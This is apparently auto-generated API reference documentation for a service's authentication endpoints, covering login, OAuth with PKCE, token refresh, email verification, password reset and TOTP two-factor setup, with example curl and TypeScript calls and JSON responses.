| `INVALID_ID_FORMAT` | Invalid ID format | The provided ID must be a 24-character hexadecimal string | Ensure the ID is exactly 24 characters long and contains only hexadecimal characters (0-9, a-f) |




```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as "Bearer &lt;token&gt;" |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |




```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |
| `ACCOUNT_BANNED` | Account banned | Your account has been banned and cannot access this resource | Contact support for information about your account status |




```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Authentication token not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TOKEN_NOT_FOUND` | Authentication token not found | The requested authentication token does not exist or has been deleted | Verify the token ID is correct and that the token still exists |

---

# Authentication

**Page:** api/authentication

[Download Raw Markdown](./api/authentication.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



Authenticate users with the Hoody API, manage sessions, verify email addresses, and configure two-factor authentication. This page covers email/password flows, OAuth (GitHub and Google), PKCE-protected popup handoffs, email verification, password recovery, and TOTP-based 2FA.


All authenticated endpoints expect a JWT in the `Authorization` header as `Bearer &lt;token&gt;`. Access tokens expire in 1 day and refresh tokens in 7 days. Response bodies are ED25519-signed via the `X-Hoody-Signature` header — fetch the public key from `/api/v1/meta/public-key` to verify them.


## Server discovery

### `GET /api/v1/auth/available-regions`

Returns regions where free-tier servers exist, with boolean availability. This endpoint is public and requires no authentication.



```bash
curl https://api.hoody.com/api/v1/auth/available-regions
```


```typescript
const { data } = await client.api.authentication.getAvailableRegions();
```


```json
{
  "statusCode": 200,
  "data": {
    "regions": [
      {
        "region": "eu-west",
        "country": "Netherlands",
        "city": "Amsterdam",
        "available": true
      },
      {
        "region": "us-east",
        "country": "United States",
        "city": "New York",
        "available": true
      },
      {
        "region": "ap-southeast",
        "country": "Singapore",
        "city": "Singapore",
        "available": false
      }
    ]
  }
}
```



## Signing keys

### `GET /api/v1/meta/public-key`

Returns the ED25519 public keys used by Hoody to sign API responses (`X-Hoody-Signature` header), identity claims issued at login, and container authorization claims. No authentication required.

**Verification flow:**

1. Fetch this endpoint once and cache the result for at least 24 hours.
2. Locate the key by `kid` from the `keys[]` array.
3. For response signatures, parse `X-Hoody-Signature: t=&lt;ts&gt;,kid=&lt;id&gt;,path=&lt;url&gt;,sig=&lt;hex&gt;` and verify `sig` against `t + "." + responseBody`.
4. For identity and container claims, verify `claim.signature_hex` against the UTF-8 bytes of `claim.payload_b64`.
5. If a signature references a `kid` not present in your cached keys, re-fetch this endpoint.



```bash
curl https://api.hoody.com/api/v1/meta/public-key
```


```typescript
const { data } = await client.api.meta.getPublicKey();
```


```json
{
  "statusCode": 200,
  "message": "Hoody API signing public key",
  "data": {
    "keys": [
      {
        "kid": "v1",
        "algorithm": "ed25519",
        "public_key_hex": "8c8d683c125761bd9157e3a6f98c30d81cd7f2be4d16062a8342d1fcd2ca474a",
        "public_key_b64": "jI1oPBJXYb2RV+Om+YwwwlzX8r5NFgYqg0LRzSykd0o=",
        "public_key_b64url": "jI1oPBJXYb2RV-Om-YwwwlzX8r5NFgYqg0LRzSykd0o"
      }
    ],
    "active_kid": "v1",
    "usage": ["response-signing", "identity-claims", "container-claims"],
    "signing_format": {
      "response_header": "X-Hoody-Signature: t=<unix_ts>,kid=<key_id>,path=<request_url>,sig=<hex>",
      "response_signed_data": "<t_value>.<response_body_utf8_string>",
      "identity_claim_signed_data": "base64url(JSON.stringify(claim_payload)) — the b64url string itself (UTF-8 bytes)",
      "container_claim_signed_data": "base64url(JSON.stringify(container_claim_payload)) — the b64url string itself (UTF-8 bytes)",
      "replay_tolerance_seconds": 300
    }
  }
}
```

Responses include a `X-Hoody-Signature` header containing the ED25519 signature in the format `t=&lt;unix_ts&gt;,kid=&lt;keyId&gt;,path=&lt;urlPath&gt;,sig=&lt;128-hex&gt;`.


```json
{
  "statusCode": 503,
  "error": "SIGNING_NOT_CONFIGURED",
  "message": "Response signing is not configured on this API instance"
}
```



## OAuth authentication

All OAuth redirect endpoints use PKCE. The `code_challenge` (base64url SHA-256 of `code_verifier`) is required.

### `GET /api/v1/auth/github`

Redirects the browser to GitHub for OAuth authentication. Browser-only endpoint.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `intent` | query | string | No | OAuth intent: `login` (default) or `star_check` (check for star credit). Allowed values: `login`, `star_check`. |
| `redirect_uri` | query | string | No | Frontend URL to redirect to after OAuth completes (must be on allowed domain) |
| `code_challenge` | query | string | Yes | PKCE `code_challenge` (base64url SHA-256 of `code_verifier`). Required — all OAuth flows must use PKCE post-migration. |



```bash
curl -L "https://api.hoody.com/api/v1/auth/github?intent=login&code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"
```


```typescript
await client.api.authentication.githubOAuthRedirect({
  intent: "login",
  code_challenge: "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"
});
```


```text
HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?...
```



### `GET /api/v1/auth/github/callback`

Handles the GitHub OAuth callback. Browser-only endpoint.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `code` | query | string | Yes | OAuth code returned by GitHub |
| `state` | query | string | Yes | State value for CSRF protection |



```bash
curl -L "https://api.hoody.com/api/v1/auth/github/callback?code=acf4d2e9&state=xyz123"
```


```typescript
await client.api.authentication.githubOAuthCallback({
  code: "acf4d2e9",
  state: "xyz123"
});
```


```text
HTTP/1.1 302 Found
Location: https://app.hoody.com/oauth/complete?...
```



### `GET /api/v1/auth/google`

Redirects the browser to Google for OAuth authentication. Browser-only endpoint.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `redirect_uri` | query | string | No | Frontend URL to redirect to after OAuth completes |
| `code_challenge` | query | string | Yes | PKCE `code_challenge` (base64url SHA-256 of `code_verifier`). Required — all OAuth flows must use PKCE post-migration. |



```bash
curl -L "https://api.hoody.com/api/v1/auth/google?code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"
```


```typescript
await client.api.authentication.googleOAuthRedirect({
  code_challenge: "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM"
});
```


```text
HTTP/1.1 302 Found
Location: https://accounts.google.com/o/oauth2/v2/auth?...
```



### `GET /api/v1/auth/google/callback`

Handles the Google OAuth callback. Browser-only endpoint.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `code` | query | string | Yes | OAuth code returned by Google |
| `state` | query | string | Yes | State value for CSRF protection |



```bash
curl -L "https://api.hoody.com/api/v1/auth/google/callback?code=4/0AY0e-g7X&state=xyz123"
```


```typescript
await client.api.authentication.googleOAuthCallback({
  code: "4/0AY0e-g7X",
  state: "xyz123"
});
```


```text
HTTP/1.1 302 Found
Location: https://app.hoody.com/oauth/complete?...
```



### `POST /api/v1/auth/launch/initiate`

Issues a one-shot launch ticket bound to the request `Origin` header. The frontend navigates the popup to the returned `launch_url`, which consumes the ticket and runs the existing PKCE-protected OAuth flow with `state_id` and `opener_origin` plumbed through.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `provider` | string | Yes | OAuth provider. Allowed values: `github`, `google`. |
| `code_challenge` | string | Yes | PKCE `code_challenge` (base64url SHA-256 of `code_verifier`, 43–128 chars) |
| `state_id` | string | Yes | Per-attempt UUID v4 — plumbed through state JWT, cookie name, fragment, message filter |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/launch/initiate \
  -H "Content-Type: application/json" \
  -d '{
    "provider": "github",
    "code_challenge": "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM",
    "state_id": "f7a3b1c9-4d2e-4a8b-9f0c-1e2d3a4b5c6d"
  }'
```


```typescript
const { data } = await client.api.authentication.oauthLaunchInitiate({
  provider: "github",
  code_challenge: "E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM",
  state_id: "f7a3b1c9-4d2e-4a8b-9f0c-1e2d3a4b5c6d"
});
```


```json
{
  "statusCode": 200,
  "data": {
    "launch_url": "https://api.hoody.com/api/v1/auth/launch/start?ticket=tkt_8d7f6e5c4b3a2918"
  }
}
```



### `GET /api/v1/auth/launch/start`

GET endpoint the popup navigates to. Consumes the launch ticket atomically and runs the existing OAuth redirect flow. Sets `Referrer-Policy: no-referrer`.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `ticket` | query | string | Yes | One-shot ticket from `/launch/initiate` response |



```bash
curl -L "https://api.hoody.com/api/v1/auth/launch/start?ticket=tkt_8d7f6e5c4b3a2918"
```


```typescript
await client.api.authentication.oauthLaunchStart({
  ticket: "tkt_8d7f6e5c4b3a2918"
});
```


```text
HTTP/1.1 302 Found
Location: https://github.com/login/oauth/authorize?...
```


```json
{
  "statusCode": 410,
  "error": "Gone",
  "message": "This launch ticket has already been used or has expired."
}
```



### `POST /api/v1/auth/intent/cancel`

Cancel a pending OAuth AuthIntent or 2FA `temp_token`. Idempotent. Used by the handoff page when the user dismisses the confirmation. Send the token as `Authorization: Bearer &lt;intent or temp_token&gt;`.



```bash
curl -X POST https://api.hoody.com/api/v1/auth/intent/cancel \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
```


```typescript
await client.api.authentication.oauthCancelIntent();
```


```text
HTTP/1.1 204 No Content
```



## Account

### `POST /api/v1/auth/signup`

Create a new account with email and password. A verification email is sent. The account is not active until the email is verified.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `email` | string | Yes | Email address for the new account |
| `password` | string | Yes | Password (min 12 chars, must include uppercase, lowercase, number, and special char) |
| `region` | string | No | Optional preferred server region (e.g. `eu-west`). If omitted, auto-assigned by GeoIP proximity. |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/signup \
  -H "Content-Type: application/json" \
  -d '{
    "email": "john.doe@example.com",
    "password": "SecurePassword123!"
  }'
```


```typescript
const { data } = await client.api.authentication.signup({
  email: "john.doe@example.com",
  password: "SecurePassword123!"
});
```


```json
{
  "statusCode": 200,
  "message": "Account created. Please check your email to verify your address.",
  "data": {
    "email": "john.doe@example.com"
  }
}
```


```json
{
  "statusCode": 400,
  "message": "Password must be at least 12 characters and include uppercase, lowercase, number, and special character."
}
```


```json
{
  "statusCode": 403,
  "message": "Signups are currently disabled"
}
```



### `POST /api/v1/users/auth/login`

Authenticate with username and password to receive a JWT access token (expires in 1 day) and refresh token (expires in 7 days). Use the access token in the `Authorization` header for subsequent requests: `Authorization: Bearer {token}`.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `username` | string | No | Username (alphanumeric, underscores, hyphens). Provide `username` or `email`. |
| `email` | string | No | Email address (alternative to `username`) |
| `password` | string | Yes | Account password. Must be at least 8 characters with uppercase, lowercase, and number. |
| `response_mode` | string | No | Response shape. `tokens` (default) returns access/refresh tokens. `intent` returns an opaque `auth_intent_token` for PKCE exchange. Allowed values: `intent`, `tokens`. |
| `code_challenge` | string | No | PKCE `code_challenge` (base64url SHA-256 of `code_verifier`). Required when `response_mode=intent`. |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "john_doe",
    "password": "SecurePassword123!"
  }'
```


```typescript
const { data } = await client.api.authentication.login({
  username: "john_doe",
  password: "SecurePassword123!"
});
```


```json
{
  "statusCode": 200,
  "message": "Login successful",
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "expires_at": "2025-11-28T20:19:00.000Z",
    "expires_in": 86400,
    "refresh_expires_at": "2025-12-04T20:19:00.000Z",
    "refresh_expires_in": 604800,
    "client_ip": "192.168.1.100",
    "recent_login_ips": [
      {
        "ip": "192.168.1.100",
        "timestamp": "2025-01-15T10:30:00.000Z"
      },
      {
        "ip": "10.0.0.5",
        "timestamp": "2025-01-14T09:15:00.000Z"
      }
    ],
    "auth_token_count": 2,
    "user": {
      "id": "507f1f77bcf86cd799439011",
      "username": "john_doe",
      "alias": "John Doe",
      "email": "john.doe@example.com",
      "is_admin": false,
      "is_banned": false,
      "metadata": {},
      "created_at": "2024-12-01T10:00:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    }
  }
}
```

The response is signed via `X-Hoody-Signature`. When the user has 2FA enabled, the response includes `data.requires_2fa`, `data.temp_token`, and `data.method: "totp"` instead of the token pair.


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Validation failed"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid credentials"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |
| `EMAIL_NOT_VERIFIED` | Email not verified | Returned by the login endpoint when the password is correct but the account's email address has not been verified yet. Reachable only after bcrypt confirms the password, so it is not an enumeration oracle. Response carries data.email so the client can offer a 'resend verification email' CTA without re-prompting. | Complete email verification by clicking the link sent to your inbox, or call /auth/resend-verification to receive a new link, or complete a password reset which also implicitly verifies the email. |



### `POST /api/v1/users/auth/logout`

Log out the current user. Creates an audit log entry. In a stateless JWT setup, the client should also discard the token. This endpoint works even for banned users.



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/logout \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
```


```typescript
await client.api.authentication.logout();
```


```json
{
  "statusCode": 200,
  "message": "Logout successful"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `POST /api/v1/users/auth/refresh`

Exchange a valid refresh token for a new access token and new refresh token. Send the refresh token in the `Authorization` header: `Authorization: Bearer {refreshToken}`.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `refreshToken` | string | Yes | Valid refresh token from previous login/refresh |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/refresh \
  -H "Content-Type: application/json" \
  -d '{
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
  }'
```


```typescript
const { data } = await client.api.authentication.refreshToken({
  refreshToken: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
});
```


```json
{
  "statusCode": 200,
  "message": "Token refreshed successfully",
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "expires_at": "2025-11-28T20:19:00.000Z",
    "expires_in": 86400,
    "refresh_expires_at": "2025-12-04T20:19:00.000Z",
    "refresh_expires_in": 604800
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired refresh token"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `GET /api/v1/users/auth/me`

Retrieve the profile of the currently authenticated user. Works with JWT, auth token, or Basic authentication. When authenticated with an auth token, the response includes `data.auth_token` introspection details (permissions and realm restrictions). This endpoint works even for banned users (read-only access).



```bash
curl https://api.hoody.com/api/v1/users/auth/me \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
```


```typescript
const { data } = await client.api.authentication.getCurrentUser();
```


```json
{
  "statusCode": 200,
  "message": "Current user retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439011",
    "username": "john_doe",
    "alias": "John Doe",
    "email": "john.doe@example.com",
    "is_admin": false,
    "is_banned": false,
    "email_verified": true,
    "metadata": {},
    "created_at": "2024-12-01T10:00:00.000Z",
    "updated_at": "2025-01-15T10:30:00.000Z",
    "pending_pool_invitations": 0
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



## Email verification & password recovery

### `POST /api/v1/auth/verify-email`

Verify the email address using the token from the verification email. The default response returns full login credentials. When `response_mode=intent` + `code_challenge` are provided, returns an opaque `auth_intent_token` for PKCE exchange (hosted auth UI flow). If 2FA is enabled on the account, returns `requires_2fa` + `temp_token` instead.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `token` | string | Yes | Verification token from the email link (64 characters) |
| `response_mode` | string | No | Response shape. `tokens` (default) returns access/refresh tokens. `intent` returns an opaque `auth_intent_token` for PKCE exchange. Allowed values: `intent`, `tokens`. |
| `code_challenge` | string | No | PKCE `code_challenge` (base64url SHA-256 of `code_verifier`). Required when `response_mode=intent`. |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/verify-email \
  -H "Content-Type: application/json" \
  -d '{
    "token": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234"
  }'
```


```typescript
const { data } = await client.api.authentication.verifyEmail({
  token: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234"
});
```


```json
{
  "statusCode": 200,
  "message": "Email verified. Login successful.",
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "expires_at": "2025-11-28T20:19:00.000Z",
    "expires_in": 86400,
    "refresh_expires_at": "2025-12-04T20:19:00.000Z",
    "refresh_expires_in": 604800,
    "user": {
      "id": "507f1f77bcf86cd799439011",
      "username": "john_doe",
      "alias": "John Doe",
      "email": "john.doe@example.com",
      "is_admin": false,
      "email_verified": true,
      "signup_method": "email",
      "avatar_url": null,
      "created_at": "2024-12-01T10:00:00.000Z",
      "updated_at": "2025-01-15T10:30:00.000Z"
    }
  }
}
```


```json
{
  "statusCode": 400,
  "message": "Invalid or expired verification token"
}
```



### `POST /api/v1/auth/resend-verification`

Resend the email verification link. Always returns success to prevent email enumeration.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `email` | string | Yes | Email address to resend verification to |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/resend-verification \
  -H "Content-Type: application/json" \
  -d '{
    "email": "john.doe@example.com"
  }'
```


```typescript
await client.api.authentication.resendVerification({
  email: "john.doe@example.com"
});
```


```json
{
  "statusCode": 200,
  "message": "If an account exists for that email and is not yet verified, a verification link has been sent."
}
```



### `POST /api/v1/auth/forgot-password`

Send a password reset email. Always returns success to prevent email enumeration.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `email` | string | Yes | Email address associated with the account |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{
    "email": "john.doe@example.com"
  }'
```


```typescript
await client.api.authentication.forgotPassword({
  email: "john.doe@example.com"
});
```


```json
{
  "statusCode": 200,
  "message": "If an account exists for that email, a password reset link has been sent."
}
```



### `POST /api/v1/auth/reset-password`

Set a new password using the reset token from the password reset email.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `token` | string | Yes | Password reset token from the email link (64 characters) |
| `password` | string | Yes | New password (min 12 chars) |



```bash
curl -X POST https://api.hoody.com/api/v1/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{
    "token": "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
    "password": "NewSecurePassword123!"
  }'
```


```typescript
await client.api.authentication.resetPassword({
  token: "a1b2c3d4e5f6789012345678901234567890abcdefabcdefabcdefabcdef1234",
  password: "NewSecurePassword123!"
});
```


```json
{
  "statusCode": 200,
  "message": "Password reset successful. You can now log in with your new password."
}
```


```json
{
  "statusCode": 400,
  "message": "Invalid or expired reset token"
}
```



## Two-factor authentication

### `GET /api/v1/users/auth/2fa/status`

Check the current 2FA status for the authenticated user, including whether it is enabled and how many backup codes remain.



```bash
curl https://api.hoody.com/api/v1/users/auth/2fa/status \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
```


```typescript
const { data } = await client.api.tfa.getStatus();
```


```json
{
  "statusCode": 200,
  "message": "2FA status retrieved",
  "data": {
    "enabled": true,
    "verified": true,
    "enabled_at": "2025-01-14T21:00:00.000Z",
    "backup_codes_remaining": 8,
    "require_for_tokens": true
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |



### `POST /api/v1/users/auth/2fa/setup`

Begin 2FA setup. Requires the current password for verification. Returns a QR code for the authenticator app and backup codes. Save backup codes securely — they are shown only once.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `password` | string | Yes | Current account password for verification (8–128 characters) |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/2fa/setup \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -H "Content-Type: application/json" \
  -d '{
    "password": "SecurePassword123!"
  }'
```


```typescript
const { data } = await client.api.tfa.setup({
  password: "SecurePassword123!"
});
```


```json
{
  "statusCode": 200,
  "message": "2FA setup initiated",
  "data": {
    "qr_code": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAA...",
    "manual_entry_key": "JBSWY3DPEHPK3PXP",
    "backup_codes": [
      "a1b2c3d4e5",
      "f6g7h8i9j0",
      "k1l2m3n4o5",
      "p6q7r8s9t0",
      "u1v2w3x4y5",
      "z6a7b8c9d0",
      "e1f2g3h4i5",
      "j6k7l8m9n0",
      "o1p2q3r4s5",
      "t6u7v8w9x0"
    ]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Incorrect password"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INCORRECT_PASSWORD` | Incorrect password | The provided password does not match the account password | Verify your password and try again |
| `TWOFACTOR_ALREADY_ENABLED` | 2FA already enabled | Two-factor authentication is already enabled for this account | Disable 2FA first if you want to set it up again |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |



### `POST /api/v1/users/auth/2fa/verify-setup`

Verify and complete 2FA setup by providing the first code from the authenticator app. This confirms the setup is working correctly.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `code` | string | Yes | 6-digit code from the authenticator app |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/2fa/verify-setup \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -H "Content-Type: application/json" \
  -d '{
    "code": "482915"
  }'
```


```typescript
const { data } = await client.api.tfa.verifySetup({
  code: "482915"
});
```


```json
{
  "statusCode": 200,
  "message": "2FA successfully enabled",
  "data": {
    "enabled": true,
    "enabled_at": "2025-01-14T21:00:00.000Z"
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid OTP code"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `MISSING_REQUIRED_FIELD` | Required field missing | One or more required fields are missing from the request | Include all required fields as specified in the API documentation |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |
| `TWOFACTOR_NOT_VERIFIED` | 2FA setup not verified | 2FA setup was initiated but not yet verified | Complete the setup by verifying your first code |


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Invalid or expired 2FA code",
  "data": {
    "attempts_remaining": 4
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the `Authorization` header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |
| `TOKEN_EXPIRED` | Authentication token expired | The provided authentication token has expired | Obtain a new token by logging in again or refreshing your session |
| `INVALID_OTP_CODE` | Invalid OTP code | The provided 2FA code is incorrect or has expired | Generate a new code from your authenticator app and try again |


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Too many failed attempts. Account locked for 15 minutes.",
  "data": {
    "lockout_seconds": 900
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `TWOFACTOR_RATE_LIMIT` | 2FA verification locked | Too many failed 2FA verification attempts. Account is temporarily locked. | Wait for the lockout period to expire (15 minutes) before trying again |



### `POST /api/v1/users/auth/2fa/verify`

Complete login by verifying the 2FA code. Use the `temp_token` from the login response and provide either a 6-digit OTP code or a backup code.

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `temp_token` | string | No | Temporary token from login response (valid for 5 minutes). Alternatively pass it as `Authorization: Bearer` header. |
| `code` | string | Yes | 6-digit OTP code from the authenticator app OR 10-character backup code |
| `response_mode` | string | No | Response shape. `tokens` (default) returns access/refresh tokens. `intent` returns an opaque `auth_intent_token` for PKCE exchange. Allowed values: `intent`, `tokens`. |



```bash
curl -X POST https://api.hoody.com/api/v1/users/auth/2fa/verify \
  -H "Content-Type: application/json" \
  -d '{
    "temp_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "code": "482915"
  }'
```


```typescript
const { data } = await client.api.tfa.verify({
  temp_token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  code: "482915"
});
```


```json
{
  "statusCode": 200,
  "message": "Authentication successful",
  "data": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "refreshToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "user": {
